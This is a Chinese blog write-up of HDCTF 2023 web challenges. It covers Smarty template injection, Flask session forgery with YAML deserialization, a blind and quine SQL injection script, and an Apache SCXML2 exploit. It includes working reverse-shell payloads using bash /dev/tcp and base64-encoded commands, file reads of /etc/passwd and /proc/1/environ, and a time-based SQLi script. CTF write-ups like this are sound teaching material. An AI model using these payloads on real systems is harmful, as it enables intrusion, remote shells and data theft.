您现在的位置是:首页 >技术教程 >[HDCTF2023] NSSweb方向题解网站首页技术教程

[HDCTF2023] NSSweb方向题解

Leafzzz__ 2024-06-14 17:17:46
简介[HDCTF2023] NSSweb方向题解

[HDCTF 2023]Welcome To HDCTF 2023

游戏题

解法一:直接噶,获得flag

在这里插入图片描述

解法2:查看源代码会发现jsfuck加密
在这里插入图片描述

控制台跑一下得出flag

在这里插入图片描述

[HDCTF 2023]SearchMaster

这题考察SSTI模板注入,先利用下图判断是什么模板,这里猜测变量名是data

在这里插入图片描述
在这里插入图片描述

经过判断是Smarty模板

在这里插入图片描述

先介绍一下Smarty模板


简介

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。

查看版本:

{$smarty.version}

常用标签

{php}

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

{php}phpinfo(){/php}

但是这个也是要分版本的,Smarty已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

直接输入php命令即可:{system(‘ls’)}

在这里插入图片描述

{literal} 标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

使用Javascrip语句进行命令之执行,常见的变形语句:

<script language="php">phpinfo();</script>

当然这样的语法,在PHP5里面可以使用,在PHP7里面不可以使用,本地测试一下:

在这里插入图片描述

因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:

{literal}
<script language="php">phpinfo();</script>
{/literal}

调用静态方法

(没遇到过 不是很理解这个playload)

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable)
{
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }

这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法,

很多文章里给的payload都形如:

{self::getStreamVariable("file:///etc/passwd")}

但在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}

{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码

{if phpinfo()}{/if}
{if system('ls')}{/if}

接下来判断Smarty的版本,payload:

data={$smarty.version}

在这里插入图片描述

是4.1.0,这里可以用{php}{if}两个标签进行注入,这里决定用php标签(因为方便),payload:

data={system('ls /')}

在这里插入图片描述

可以看到根目录下面有flag_13_searchmaster文件,进行文件读取,payload:

data={system('cat /flag_13_searchmaster')}

得到flag

[HDCTF 2023]YamiYami

进去之后有个界面,里面有三个链接

第一个是直接跳转到百度,查看url,猜测有任意文件读取
在这里插入图片描述

第二个是upload(暂时不知道有什么用)

第三个的意思好像是/app的路由下有/app.py的文件,利用任意文件读取尝试查看该文件

在这里插入图片描述

但是被过滤掉了,

re.findall(‘app.*’, url, re.IGNORECASE)
该操作的含义是在 url 中查找以 app 开头的子串,并返回所有匹配的结果。其中,.*表示匹配任意字符(除了换行符)0 次或多次。re.IGNORECASE 是一个可选参数,表示在匹配时忽略大小写。

这里要用url双重编码(python3)进行绕过,思路如下:

一次编码会被hackbar还原,服务端接收到的还是app,二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,因为是urlopen去访问的我们需要的资源,猜测这里urlopen接受的是一个url地址,url地址当然可以被编码了,所以也可以正常访问。

得到payload:

/read?url=file://%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

OK,顺利读取到内容,源码如下:

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
"导入所需的模块和库"

app = Flask(__name__)
"创建Flask应用实例"

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
"配置应用"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 

    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

先进行代码审计

  • random.seed(uuid.getnode()):使用机器的 MAC 地址作为随机数种子。

  • app.config['SECRET_KEY']:设置一个随机生成的密钥作为 Flask 应用的密钥。

  • BLACK_LIST:包含了一些不允许的文件名的黑名单。

  • app.config['UPLOAD_FOLDER']:设置文件上传的目标文件夹路径。

  • @app.route('/'):处理根路径的请求。当用户访问根路径时,会执行 index() 视图函数。该函数将会话中的 passport 设置为 'YamiYami',然后返回欢迎信息。

  • @app.route('/read'):处理 /read 路径的请求。当用户访问 /read 路径时,会执行 read() 视图函数。该函数首先获取请求参数中的 url 参数,然后通过正则表达式检查该参数是否包含特定字符串。如果匹配到 'app.*''flag',则返回相应的字符串。否则,它尝试通过 urlopen() 函数打开指定的 URL,并返回读取到的内容。

  • @app.route('/upload', methods=['GET', 'POST']):处理 /upload 路径的请求,支持 GET 和 POST 方法。当用户访问 /upload 路径时,如果请求方法是 POST,那么会执行 upload_file() 视图函数。该函数首先检查请求中是否包含名为 file 的文件。如果不包含,则返回错误消息。如果包含文件,会检查文件名是否为空,并调用 allowed_file() 函数检查文件名是否在黑名单中。如果文件名合法,会将文件保存到指定的目标文件夹,并返回上传成功的消息。

  • @app.route('/boogipop'):处理 /boogipop 路径的请求。当用户访问 /boogipop 路径时,会执行 load() 视图函数。该函数首先检查会话中的 passport 是否等于 'Welcome To HDCTF2023',如果是,则获取请求参数中的 file 参数,并检查该文件是否存在。如果文件存在,则使用 open() 函数打开文件,并通过 yaml.full_load() 函数加载 YAML 数据。最后,返回字符串 'van you see'。如果会话中的 passport 不等于 'Welcome To HDCTF2023',则返回字符串 'No Auth bro'

通过代码审计,可以得知,需要做的事情有两件, 因为提示在/boogipop做坏事,那么就需要

一、伪造session

二、Yaml反序列化

先来伪造session:

伪造session,需要知道secret_key:

在 Flask 中,SECRET_KEY 是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。

当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(session ID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。

为了保护会话数据的安全性,Flask 使用 SECRET_KEY 对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的 SECRET_KEY 的服务器才能够正确解密和验证会话数据。

因此,在进行会话伪造时,攻击者需要知道应用程序使用的 SECRET_KEY 才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的 SECRET_KEY,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。

根据上面的对secret_key的定义:

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。

在给定的代码中,使用了 random.seed(uuid.getnode()) 来设置随机数种子。uuid.getnode() 函数用于获取机器的 MAC 地址(网卡地址)作为随机数种子。

所以我们要得到secret_key要先知道网卡mca地址,具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密。

构造payload读取网卡地址:

/read?url=file:///sys/class/net/eth0/address

得到网卡地址:

02:42:ac:02:58:34

运行下面脚本得到secret_key:

#02:42:ac:02:58:34
import random

random.seed(0x0242ac025834)
print(str(random.random() * 233))

# 167.11068405116546  secret_key

然后在cmd运行flask_session_cookie_manager3.py ,这是一个Flask的session和cookie的加密和解密脚本:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
 
    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

输入

python flask_session_cookie_manager3.py decode -s 167.11068405116546 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZE_YeQ.KFuaNb2zIVVQFypY3YmSmoy7kwY"   #解密

可以看到解密出结果,结果正是app.py中的yamiyami,说明secret_key正确

在这里插入图片描述

接下来伪造session,使passwordWelcome to HDCTF2023

python flask_session_cookie_manager3.py encode -s 167.11068405116546 -t "{'xxxxx': 'Welcome to HDCTF2023'}" 

把xxxx替换成passport ,不然文章不过审。。。

得到session

eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZE_ZOg.w_JJfHT3S6JyDdWUgyA85sXloHE

这里的session先留着一会来替换掉原来的session,接下来进行第二步Yaml反序列化

这里利用它是因为最后/boogipop这个路由使用到了yaml.full_load(f)

内容可以是yaml形式的反弹shell的脚本

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port <&1"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

这个脚本的最终目的是执行

- "__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port <&1"')"

利用bash命令来使目标机进行反向连接,这里把ipport替换掉

命名为shell.txt,在upload页面上交。.yaml后缀,在黑名单里,那为什么.txt也能被当作.yaml来解析呢。

猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了。

在这里插入图片描述

其实也能从注释中窥见一二,翻译过来就是:
分析流中的所有YAML文档
并生成相应的Python对象。

先让攻击机开始本地监听:

netcat -lvvp 2333

在这里插入图片描述

然后将文件利用上传文件进行上传

在这里插入图片描述

接着回到/boogipop路由, 改变session的值,由于我们已经知道了上传路径,所以可以包含文件shell.txt

构造payload:

http://node2.anna.nssctf.cn:28746/boogipop?file=uploads/shell.txt

监听并连接成功
在这里插入图片描述

通过ls /查看根目录文件

在这里插入图片描述

查看flag.sh

在这里插入图片描述

说flag在/tmp/flag_13_114514文件中,进行查看,得到flag

在这里插入图片描述

非预期解

构造payload:

http://node2.anna.nssctf.cn:28746/read?url=file:///proc/1/environ

直接看环境变量,得到flag

在这里插入图片描述

[HDCTF 2023]LoginMaster

上来是登录界面,猜测是sql注入
在这里插入图片描述

先随便输入一个登陆一下

在这里插入图片描述

说明用户名是admin

用dirsearch扫一下,发现文件robots.txt进行访问,robots泄露waf源码:
在这里插入图片描述

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|||right|left|reverse|update|extractvalue|floor|substr|&|;|\$|0x|sleep| /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

由于没有其他回显,并且把大部分东西都过滤掉的,虽然slepp被过滤了,但是

sleep可以用benchmark代替=,<,>,regexp等号可以用like代替substr用mid绕过

盲注脚本:

import requests
import time
 
header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}  #伪装头
def find_number(cd):   #判断数据库长度
    for i in range(1,30):
        payload = "1'or/**/if(length(database())like/**/%d,benchmark(1000000000,sha(1)),1)#"%(i)
        #print(payload)
        data = {"username": 'admin',
                "password": payload
                }
        try:
            res = requests.post(url=url,data=data,timeout=2)
        except:
           print("数据库长度为:",i)
           return i
def find_all(cd,payload):
    name = ""
    for i in range(1,35):
        for j in range(31, 128):
            data = {"username": 'admin',
                    "password": payload%(i,j)
                    }
            try:
                res = requests.post(url=url, data=data, timeout=2)
            except:
                name += chr(j)
                print('所得值为: %s' % name)
                break
url="http://node4.anna.nssctf.cn:28066/"
condition="flag"
#库名:
payload = "1'/**/or/**/(if(ascii(mid(database(),%d,1))like/**/%d,benchmark(100000000,sha(1)),1))#"
#表名:
#payload="1'/**/or/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))like%d,benchmark(100000000,sha(1)))#"
#列名:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
#find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名

依据着提一条payload对下面爆表名和字段的payload进行修改即可得到password,但由于对服务器发送的请求运算量过大,容器容易崩,所以要一条一条来执行

得知password是空的且下面是对输入的password与数据库查询的到的password进行强对比

则就是要构造一个payload使得输入等于输出

这里介绍quine方法来绕过该匹配

quine指的是自产生程序也就是说就是输入的sql语句与要输出的一致

主要利用replace()函数

replace是将对象中的某一字符替换成另一字符并输出结果

replace(object,search,replace) 

object是要替换的对象

search是被替换的字符

replace是要替换的字符

如输入

repalce(".",char(46),".")

输出 .

则输入

 repalce('repalce(".",char(46),".")',char(46),'repalce(".",char(46),".")')

则会输出

 repalce("repalce(".",char(46),".")",char(46),"repalce(".",char(46),".")")

这样实现的是将object中的 . 换成 repalce(“.”,char(46),“.”)

但对比发现前后还有单引号和双引号不等

这时又要在repalce里面再嵌套一个replace来让双引号转成单引号

如:

replace(replace('"."',char(34),char(39)),char(46),'.')

得:

'.'

这里就是先执行里面的replace将"."换成了’.'然后再执行外面的repalce

所以就可以将上面’.'换成输入的内容上面就是用

replace(replace(‘“.”’,char(34),char(39)),char(46),‘.’)代替’.’

replace(replace('replace(replace('"."',char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace('"."',char(34),char(39)),char(46),".")') 

这样的输出就与输入一样了

回到题目得到的payload为

1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

要注意的是

1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

在带入里面的replace的object时的是要把单引号换成双引号,因为这个是要被用于替换成单引号后充当外面的replace的object的单引号,即下面指的两个单引号

在这里插入图片描述

最后得到flag

[HDCTF 2023]BabyJxVx

考点:Apache SCXML2 RCE

题目提供一个附件,查看网站的Controller目录,其中有一个Flagcontroller类,源码如下:

package com.example.babyjxvx.FlagController;

import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
public class Flagcontroller {
    public Flagcontroller() {
    }

    private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        Document doc = builder.parse(fileName);
        int node1 = doc.getElementsByTagName("script").getLength();
        int node2 = doc.getElementsByTagName("datamodel").getLength();
        int node3 = doc.getElementsByTagName("invoke").getLength();
        int node4 = doc.getElementsByTagName("param").getLength();
        int node5 = doc.getElementsByTagName("parallel").getLength();
        int node6 = doc.getElementsByTagName("history").getLength();
        int node7 = doc.getElementsByTagName("transition").getLength();
        int node8 = doc.getElementsByTagName("state").getLength();
        int node9 = doc.getElementsByTagName("onentry").getLength();
        int node10 = doc.getElementsByTagName("if").getLength();
        int node11 = doc.getElementsByTagName("elseif").getLength();
        return node1 <= 0 && node2 <= 0 && node3 <= 0 && node4 <= 0 && node5 <= 0 && node6 <= 0 && node7 <= 0 && node8 <= 0 && node9 <= 0 && node10 <= 0 && node11 <= 0 ? true : false;
    }

    @RequestMapping({"/"})
    public String index() {
        return "index";
    }

    @RequestMapping({"/Flag"})
    @ResponseBody
    public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
    }
}

通过代码审计,我们可以得知该网站有//Flag两个路由,并且通过网络搜索可以得知有Apache SCXML2 RCE漏洞

Apache SCXML2 可以通过加载恶意xml文件实现RCE,这个XML的标签需要经过恶意的构造才行

我们需要靠SCXMLReader.read()方法来读取恶意xml,题目中我们可以通过GET的方式传入filename参数来触发

先在自己的服务器上传恶意xml文件:

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns 属性指定了命名空间,version 属性指定了版本,initial 属性指定了初始状态为 run

  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run

  • <onexit>:定义了一个事件,在退出状态时触发

  • <assing........>location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。 具体来说,这个命令解码一个经过 Base64 编码的字符串,并将其作为参数传递给 bash -c 命令,最终会执行一个恶意的 Bash 脚本。 这一段是一个 Java 代码片段,它通过反射调用 Java 运行时类 java.lang.Runtime 中的 exec 方法来执行一个 Bash 命令。这个 Bash 命令经过了 Base64 编码,并包含在一串复杂的字符串中。这个字符串实际上是一个命令串联的结果,用了管道符(|)将多个命令串联在一起。

    具体地说,这个 Bash 命令串联了三个命令:

    1. {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}:这个命令实际上是一个字符串,它经过了 Base64 编码。解码后得到的字符串是 bash -i >& /dev/tcp/ip/port 0>&1。这个命令的含义是在受害者的计算机上打开一个反向 Shell,并将其连接到攻击者的 IP 地址和端口上。
    2. {base64,-d}:这个命令将第一个命令的输出作为输入,并对其进行 Base64 解码。
    3. {bash,-i}:这个命令将第二个命令的输出作为参数传递给 bash -i 命令,最终会执行反向 Shell 并与攻击者建立连接。

将该文件上传到服务器的/root的文件夹后,然后开启临时文件服务器,在服务器控制台输入

python3 -m http.server 8000

可以输入服务器地址:8000来检查是否开启成功

在这里插入图片描述

然后再开一个服务器控制台,开始监听在恶意xml文件中的端口

nc -lvvp 2333

然后利用/Flag路由下的filename变量进行文件读取,构造payload:

http://node4.anna.nssctf.cn:28342/Flag?filename=http://ip:8000/shell.xml

在这里插入图片描述

反弹shell成功,flag文件在根目录

cat /flag_13*

得到flag

小结

这个wp写的可以说是十分艰辛,不会的东西太多了,在此先感谢各位大佬的文章
其实到现在loginmaster还没绕过来,只能说师傅们太强了
HDCTF2023 Web题出题记录
Apache SCXML2 RCE分析
[HDCTF 2023]LoginMaster 复现 (记quine注入)
[HDCTF 2023]web YamiYami yaml反序列化+session伪造
PHP Smarty模版注入

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。